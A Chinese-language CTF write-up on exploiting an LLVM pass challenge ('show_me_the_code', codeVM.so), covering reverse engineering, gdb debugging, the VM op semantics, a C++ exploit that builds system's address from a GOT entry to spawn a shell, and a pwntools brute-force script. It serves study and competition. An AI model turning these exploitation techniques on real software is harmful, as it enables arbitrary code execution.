前言
最近比赛中遇到一道llvm pass pwn
,现学了一下相关知识,发现网上的讲解和例题的exp
基本都是用的c
语言,而比赛中的这题在题目描述中说明了用的是c++
,虽然用c
也可以通过修改.ll
文件完成,但是相比之下还是觉得直接用c++
写exp
方便一些,主要体现在:
c
语言需要导入#include <stdbool.h>
头才能使用bool
类型
c
语言没有class
,需要先写成struct
再修改.ll
文件中的struct
为class
,且使用struct
编写本身也比class
麻烦
前置基础
llvm
llvm
的作用:gcc
编译时前后端耦合在一起,出现新平台或编译程序都需要重新设计IR
,而llvm
使用统一的中间代码不需要设计新的IR
llvm pass
:对ir
进行分析 优化等操作的过程的模块
IR
的三种表现形式:
.ll
:可读IR
,类似汇编
.bc
:不可读二进制IR
- 保存在内存中
llvm
工具
llvm-as
:把LLVM IR
从人可读的文本格式汇编成成二进制格式
llvm-dis
:llvm-as
的逆过程,即反汇编
opt
:优化LLVM IR
,输出新的LLVM IR
llc
:把LLVM IR
编译成汇编码
lli
:解释执行LLVM IR
环境配置:
1
| sudo apt install clang-12 clang-8 llvm-12 llvm-8
|
程序编译:
编译为.ll
:
1
| clang-12 -emit-llvm -S exp.c -o exp.ll
|
编译为.bc
:
1
| clang-12 -emit-llvm -c exp.c -o exp.bc
|
程序运行:
1
| opt-12 -load ./xxx.so -标识符 ./exp.ll
|
其中标识符与加载的动态库中注册的一个pass
相关联,可以使用-标识符
来启用这个pass
c++函数名修饰规则
使用gcc
或clang
编译c++
时会经过名称修饰的过程从而改变函数名,修饰后的名称通常包括:
_Z
:修饰名称的开始
N
:表示这是一个函数或静态成员函数
数字:表示函数名称的长度
类名和函数名:经过编码的类名和函数名
E
:参数列表的开始
参数类型:通过不同的字母按顺序表示参数类型
字母 |
参数类型 |
i |
int |
j |
unsigned int |
l |
long |
x |
long long |
m |
unsigned long |
c |
char |
h |
unsigned char |
b |
bool |
结尾:包含额外信息如返回类型
例如_ZN4edoc4addiEhii
表示在edoc
类中的函数名长度为4
的函数addi
,它的三个参数分别是unsigned char
、int
、int
类型
解题过程
解题流程
题目一般会给出ld-linux-x86-64.so.2
、libc.so.6
、opt-12
、xxx.so
和一个说明文档,说明文档会给出如何编译运行以及打远程,一般是将.ll
或者.bc
文件进行base64
编码发送到远程,漏洞点出现在xxx.so
,即需要逆向分析的就是这个xxx.so
,而攻击的是opt
程序,opt
程序没给的话也可以用/bin/opt-12
在初始化函数(例如_cxx_global_var_init_17
)中找到标识符(即StringRef
函数的参数)
导入动态链接库sudo cp xxx.so /lib
在xxx.so
的.data.rel.ro
段找到虚表,虚表的最后一项就是程序入口
进行动态调试,确定入口函数名、其他函数名、类名等
编写交互脚本
逆向分析函数,编写exp
脚本
动态调试
使用gdb opt-12
进行调试,并且通过set args -load ./xxx.so -xxx ./exp.ll
导入参数,在main
函数下断点,运行至所有llvm::initialize
前缀的初始化函数结束,使用vmmap
获取xxx.so
的基址,通过IDA
中的偏移下断点进行进一步调试(如果没有基址说明初始胡函数还没运行完
例题
show_me_the_code
题目来源于源鲁杯Round3
的困难题,给了codeVM.so
、ld-linux-x86-64.so.2
、libc.so.6
、opt-12
、说明文档和docker
,给出编译指令clang-12 -emit-llvm -S exp.cpp -o exp.ll
,上传题解的方式是将exp.ll
进行base64
编码并且在最后加上换行和EOF
发送到远程,从编译指令可以看出需要用c++
编写exp
确定标识符
直接搜索函数名init
找到函数_cxx_global_var_init_17
中有标识符Co00o0oOd3
,确定了程序的运行方式是./opt-12 -load ./codeVM.so -Co00o0oOd3 ./exp.ll
,这里需要先执行sudo cp codeVM.so /lib
导入动态链接库
1 2 3 4 5 6 7 8 9 10 11 12
| int _cxx_global_var_init_17() { __int64 v1; __int64 v2; __int64 v3; __int64 v4;
llvm::StringRef::StringRef((llvm::StringRef *)&v3, "Co00o0oOd3"); llvm::StringRef::StringRef((llvm::StringRef *)&v1, "c0oo0o0Ode Pass"); llvm::RegisterPass<`anonymous namespace'::c0oo0o0Ode>::RegisterPass((unsigned int)&X, v3, v4, v1, v2, 0, 0); return __cxa_atexit(llvm::RegisterPass<`anonymous namespace'::c0oo0o0Ode>::~RegisterPass, &X, &_dso_handle); }
|
确定程序入口函数
在.data.rel.ro
段找到了vtable
,最后一项``anonymous namespace’::c0oo0o0Ode::runOnFunction(llvm::Function &)`就是程序入口,直接点进这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| .data.rel.ro:0000000000030D08 dq offset _ZN12_GLOBAL__N_110c0oo0o0OdeD2Ev ; `anonymous namespace'::c0oo0o0Ode::~c0oo0o0Ode() .data.rel.ro:0000000000030D10 dq offset _ZN12_GLOBAL__N_110c0oo0o0OdeD0Ev ; `anonymous namespace'::c0oo0o0Ode::~c0oo0o0Ode() .data.rel.ro:0000000000030D18 dq offset _ZNK4llvm4Pass11getPassNameEv ; llvm::Pass::getPassName(void) .data.rel.ro:0000000000030D20 dq offset _ZN4llvm4Pass16doInitializationERNS_6ModuleE ; llvm::Pass::doInitialization(llvm::Module &) .data.rel.ro:0000000000030D28 dq offset _ZN4llvm4Pass14doFinalizationERNS_6ModuleE ; llvm::Pass::doFinalization(llvm::Module &) .data.rel.ro:0000000000030D30 dq offset _ZNK4llvm4Pass5printERNS_11raw_ostreamEPKNS_6ModuleE ; llvm::Pass::print(llvm::raw_ostream &,llvm::Module const*) .data.rel.ro:0000000000030D38 dq offset _ZNK4llvm12FunctionPass17createPrinterPassERNS_11raw_ostreamERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE ; llvm::FunctionPass::createPrinterPass(llvm::raw_ostream &,std::string const&) .data.rel.ro:0000000000030D40 dq offset _ZN4llvm12FunctionPass17assignPassManagerERNS_7PMStackENS_15PassManagerTypeE ; llvm::FunctionPass::assignPassManager(llvm::PMStack &,llvm::PassManagerType) .data.rel.ro:0000000000030D48 dq offset _ZN4llvm4Pass18preparePassManagerERNS_7PMStackE ; llvm::Pass::preparePassManager(llvm::PMStack &) .data.rel.ro:0000000000030D50 dq offset _ZNK4llvm12FunctionPass27getPotentialPassManagerTypeEv ; llvm::FunctionPass::getPotentialPassManagerType(void) .data.rel.ro:0000000000030D58 dq offset _ZNK4llvm4Pass16getAnalysisUsageERNS_13AnalysisUsageE ; llvm::Pass::getAnalysisUsage(llvm::AnalysisUsage &) .data.rel.ro:0000000000030D60 dq offset _ZN4llvm4Pass13releaseMemoryEv ; llvm::Pass::releaseMemory(void) .data.rel.ro:0000000000030D68 dq offset _ZN4llvm4Pass26getAdjustedAnalysisPointerEPKv ; llvm::Pass::getAdjustedAnalysisPointer(void const*) .data.rel.ro:0000000000030D70 dq offset _ZN4llvm4Pass18getAsImmutablePassEv ; llvm::Pass::getAsImmutablePass(void) .data.rel.ro:0000000000030D78 dq offset _ZN4llvm4Pass18getAsPMDataManagerEv ; llvm::Pass::getAsPMDataManager(void) .data.rel.ro:0000000000030D80 dq offset _ZNK4llvm4Pass14verifyAnalysisEv ; llvm::Pass::verifyAnalysis(void) .data.rel.ro:0000000000030D88 dq offset _ZN4llvm4Pass17dumpPassStructureEj ; llvm::Pass::dumpPassStructure(uint) .data.rel.ro:0000000000030D90 dq offset _ZN12_GLOBAL__N_110c0oo0o0Ode13runOnFunctionERN4llvm8FunctionE ; `anonymous namespace'::c0oo0o0Ode::runOnFunction(llvm::Function &)
|
确定函数名和类名编写交互脚本
找到程序逻辑,其中llvm::Value::getName
用于获取函数名,llvm::operator==(Name, v8, v6[0], v6[1]);
用于比较函数名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| __int64 __fastcall `anonymous namespace'::c0oo0o0Ode::runOnFunction( _anonymous_namespace_::c0oo0o0Ode *this, llvm::Function *a2) { __int64 v2; char v4; _BYTE v5[32]; __int64 v6[2]; __int64 Name; __int64 v8; llvm::Value *v9; _anonymous_namespace_::c0oo0o0Ode *v10;
v10 = this; v9 = a2; secret::init(this); Name = llvm::Value::getName(a2); v8 = v2; VMDatProt::getStrFromProt2( (__int64)v5, (__int64)&`anonymous namespace'::vmFuncName[abi:cxx11], (__int64)&secret::vmKey[abi:cxx11]); llvm::StringRef::StringRef(v6, v5); v4 = llvm::operator==(Name, v8, v6[0], v6[1]); std::string::~string(v5); if ( (v4 & 1) != 0 ) `anonymous namespace'::c0oo0o0Ode::vmRun(this, v9); return 0LL; }
|
直接随便写一个函数名动态调试,传入参数的指令是set args -load codeVM.so -Co00o0oOd3 exp.ll -f
,运行完初始化函数之后通过vmmap
找到codeVM.so
的基址
1 2 3 4 5
| 0x7ffff1f88000 0x7ffff1fa0000 r--p 18000 0 /usr/lib/codeVM.so 0x7ffff1fa0000 0x7ffff1fb0000 r-xp 10000 18000 /usr/lib/codeVM.so 0x7ffff1fb0000 0x7ffff1fb8000 r--p 8000 28000 /usr/lib/codeVM.so 0x7ffff1fb8000 0x7ffff1fb9000 r--p 1000 2f000 /usr/lib/codeVM.so 0x7ffff1fb9000 0x7ffff1fbb000 rw-p 2000 30000 /usr/lib/codeVM.so
|
在llvm::operator==(Name, v8, v6[0], v6[1]);
下断点观察函数名,测试程序中我的函数名是testname
,在比较时输入的函数名变成了_Z8testnamev
,即头部+长度+函数名+v
,比较对象函数名_Z10c0deVmMainv
,所以入口函数的函数名就是c0deVmMain
1 2 3 4 5
| ► 0x7ffff1fa3242 <(anonymous namespace)::c0oo0o0Ode::runOnFunction(llvm::Function&)+98> call llvm::operator==(llvm::StringRef, llvm::StringRef)@plt <llvm::operator==(llvm::StringRef, llvm::StringRef)@plt> rdi: 0x4e5510 ◂— '_Z8testnamev' rsi: 0xc rdx: 0x7fffffffd390 ◂— '_Z10c0deVmMainv' rcx: 0xf
|
程序的基本结构如下,其他操作都写在c0deVmMain
中
1 2 3
| int c0deVmMain() { return 0; }
|
通过比较之后会进入``anonymous namespace’::c0oo0o0Ode::vmRun(this, v9);,这个函数中存在
8个
op,在每个
op之前通过
anonymous namespace’::c0oo0o0Ode::isValidOp(this, &v15, v6) & 1) != 0判定函数名是否符合,同样函数中存在
llvm::Value::getName(v12)和
llvm::operator==(Name, v11, v9[0], v9[1], v4, v5);`,也是任意写一个函数定位到这里判断函数名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| __int64 __fastcall `anonymous namespace'::c0oo0o0Ode::isValidOp(__int64 a1, __int64 a2, __int64 a3) { __int64 v3; __int64 v4; __int64 v5; char v7; _BYTE v8[32]; __int64 v9[2]; __int64 Name; __int64 v11; llvm::Value *v12; __int64 CalledOperand; llvm::CallBase *v14; __int64 v15; __int64 v16; __int64 v17; char v18;
v17 = a1; v16 = a2; v15 = a3; v14 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,true>>(a2); if ( !v14 ) goto LABEL_6; CalledOperand = llvm::CallBase::getCalledOperand(v14); v12 = (llvm::Value *)llvm::dyn_cast<llvm::Function,llvm::Value>(CalledOperand); if ( !v12 ) goto LABEL_6; Name = llvm::Value::getName(v12); v11 = v3; VMDatProt::getStrFromProt2((__int64)v8, v15, (__int64)&secret::vmKey[abi:cxx11]); llvm::StringRef::StringRef(v9, (__int64)v8); v7 = llvm::operator==(Name, v11, v9[0], v9[1], v4, v5); std::string::~string(v8); if ( (v7 & 1) != 0 && (`anonymous namespace'::c0oo0o0Ode::isValidEnv(a1, v16) & 1) != 0 ) v18 = 1; else LABEL_6: v18 = 0; return v18 & 1; }
|
我的测试函数名是testfunction
,运行到断点观察输入函数名变成_Z12testfunctionv
,而比较函数名_ZN4edoc4addiEhii
,根据c++
函数名修饰规则可以分析到该函数是位于edoc
类下的addi
函数,参数类型是unsigned char
、int
、int
1 2 3 4 5
| ► 0x7ffff1fa362e <(anonymous namespace)::c0oo0o0Ode::isValidOp(llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction, false, false, void>, false, true>&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)+158> call llvm::operator==(llvm::StringRef, llvm::StringRef)@plt <llvm::operator==(llvm::StringRef, llvm::StringRef)@plt> rdi: 0x4e55e0 ◂— '_Z12testfunctionv' rsi: 0x11 rdx: 0x4ce0c0 ◂— '_ZN4edoc4addiEhii' rcx: 0x11
|
同样,运行到每个op
前的``anonymous namespace’::c0oo0o0Ode::isValidOp`函数记录每个函数的函数名,得到以下交互脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| class edoc { public: void addi(unsigned char x, int y, int z) {} void chgr(unsigned char x, int y) {} void sftr(unsigned char x, bool y, unsigned char z) {} void borr(unsigned char x, unsigned char y, unsigned char z) {} void movr(unsigned char x, unsigned char y) {} void save(unsigned char x, unsigned int y) {} void load(unsigned char x, unsigned int y) {} void runc(unsigned char x, unsigned int y) {} };
edoc obj;
int c0deVmMain() { return 0; }
|
逆向分析
对每个功能进行逆向分析,分析过程不多描述,分析结果如下:
1 2 3 4 5 6 7 8
| addi -> regs[x] = y + z ;x <= 5 chgr -> regs[x] += y ;x <= 5 -0x1000 < y < 0x1000 onetime sftr -> if y == 1 : regs[x] << z, if y == 0 : regs[x] >> z ;x <= 5 y < 0x40 borr -> regs[x] = regs[y] | regs[z] ;x <= 5 y <= 5 z <= 5 movr -> regs[x] = regs[y] ;x < 8 y < 8 save -> *(y+regs[6]) = regs[x] ;x <= 5 y <= 0x1000 y & 7 == 0 regs[6] & 0xFFF = 0 regs[7] = regs[6] + 0x1000 load -> regs[x] = *(y+regs[6]) ;x <= 5 y <= 0x1000 y & 7 == 0 regs[6] & 0xFFF = 0 regs[7] = regs[6] + 0x1000 runc -> *(y+regs[6])(regs[x]) ;x <= 5 y <= 0x1000 y & 7 == 0 regs[6] & 0xFFF = 0 regs[7] = regs[6] + 0x1000
|
利用思路就是用op7
获取一个libc
上的地址,用op8
执行system('$0')
,opt-12
程序没有开启pie
,所以可以直接获取opt-12
中的got
表里的libc
地址,离system
最近的就是0x442ad8
中的getenv_got
,再通过左移右移或运算得到system
地址,本地getenv
和system
地址如下
1 2 3 4
| pwndbg> x/gx 0x442ad8 0x442ad8 <getenv@got[plt]>: 0x00007ffff1c44b70 pwndbg> p system $1 = {<text variable, no debug info>} 0x7ffff1c50d70 <system>
|
我的思路是将getenv
右移16
位再左移16
位清空最后两个字节为0x00007ffff1c40000
,第五位使用op2
来加1
为0x00007ffff1c50000
,再用op3
改末三位为0x00007ffff1c50d70
,由于libc
只有末三位固定剩下是随机的,所以第四位需要爆破
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| class edoc { public: void addi(unsigned char x, int y, int z) {} void chgr(unsigned char x, int y) {} void sftr(unsigned char x, bool y, unsigned char z) {} void borr(unsigned char x, unsigned char y, unsigned char z) {} void movr(unsigned char x, unsigned char y) {} void save(unsigned char x, unsigned int y) {} void load(unsigned char x, unsigned int y) {} void runc(unsigned char x, unsigned int y) {} };
edoc obj;
void testfunction(){}
int c0deVmMain() { obj.addi(0, 0x442000, 0); obj.movr(6, 0); obj.addi(1, 0x443000, 0); obj.movr(7, 1); obj.load(2, 0xad8);
obj.sftr(2, 0, 16); obj.sftr(2, 1, 12); obj.addi(5, 0x400, 0); obj.borr(2, 2, 5); obj.chgr(2, 0xc00); obj.sftr(2, 1, 4); obj.addi(4, 0xd70, 0); obj.borr(2, 2, 4); obj.addi(4, 0x3024, 0); obj.save(4, 0x1000);
obj.save(2, 0xb00);
obj.runc(1, 0xb00); return 0; }
|
爆破脚本,大概30+次爆破出来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * import base64
context(arch='amd64', os='linux', log_level='debug')
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
with open("exp.ll", "rb") as file: p = base64.b64encode(file.read()) p += b'\nEOF\n'
rnd = 0 while True: try: r = remote('challenge.yuanloo.com', 43319) rnd += 1 li('the ' + str(rnd) + ' round') r.recvuntil(b'(EOF to stop):\n')
r.send(p)
r.sendline('cat flag') for i in range(4): s = r.recvline() if b'YLCTF' in s: li(s) break else: continue
except EOFError: r.close() continue
|
相关链接
https://www.z1r0.top/2022/10/28/LLVM-PASS-PWN/